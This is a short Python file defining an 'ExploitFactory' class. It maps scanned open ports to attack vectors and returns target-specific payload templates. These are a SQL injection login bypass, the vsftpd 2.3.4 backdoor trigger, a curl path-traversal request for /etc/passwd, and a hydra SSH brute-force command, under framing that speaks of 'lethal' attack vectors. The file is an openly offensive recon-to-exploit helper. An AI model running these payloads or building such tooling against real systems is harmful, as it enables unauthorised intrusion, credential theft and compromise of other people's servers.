import random

class ExploitFactory:
    """
    Ẑ374_3XPL017_F4C70RY v1.0
    Generates tactical payloads and suggests exploitation paths based on recon data.
    """
    def __init__(self):
        self.payload_db = {
            "80": ["Path Traversal", "SQL Injection", "XSS to Session Hijack"],
            "443": ["SSL/TLS Vulnerability Analysis", "Subdomain Takeover"],
            "22": ["SSH Brute Force", "Private Key Harvesting"],
            "21": ["FTP Anonymous Login", "Exploit vsftpd 2.3.4 (Backdoor)"],
            "3306": ["MySQL Remote Root Access", "Database Dumping"],
            "8080": ["Jenkins RCE", "Apache Tomcat Manager Exploit"]
        }

    def generate_attack_strategy(self, target, open_ports):
        """
        Analyzes open ports and suggests a lethal attack vector.
        """
        strategies = []
        for port_info in open_ports:
            # Extract port number from string like "PORT 80: OPEN"
            port = "".join(filter(str.isdigit, port_info))
            if port in self.payload_db:
                vector = random.choice(self.payload_db[port])
                strategies.append({
                    "port": port,
                    "vector": vector,
                    "payload_suggestion": self._get_payload_template(vector, target)
                })
        
        return strategies

    def _get_payload_template(self, vector, target):
        """Returns a raw payload template for the user."""
        templates = {
            "SQL Injection": f"admin' OR '1'='1' -- on {target}",
            "Exploit vsftpd 2.3.4 (Backdoor)": f"USER back:)\nPASS invalid on {target}:21",
            "Path Traversal": f"curl http://{target}/../../../../etc/passwd",
            "SSH Brute Force": f"hydra -L users.txt -P pass.txt ssh://{target}"
        }
        return templates.get(vector, "Manual verification required for this vector.")

exploit_engine = ExploitFactory()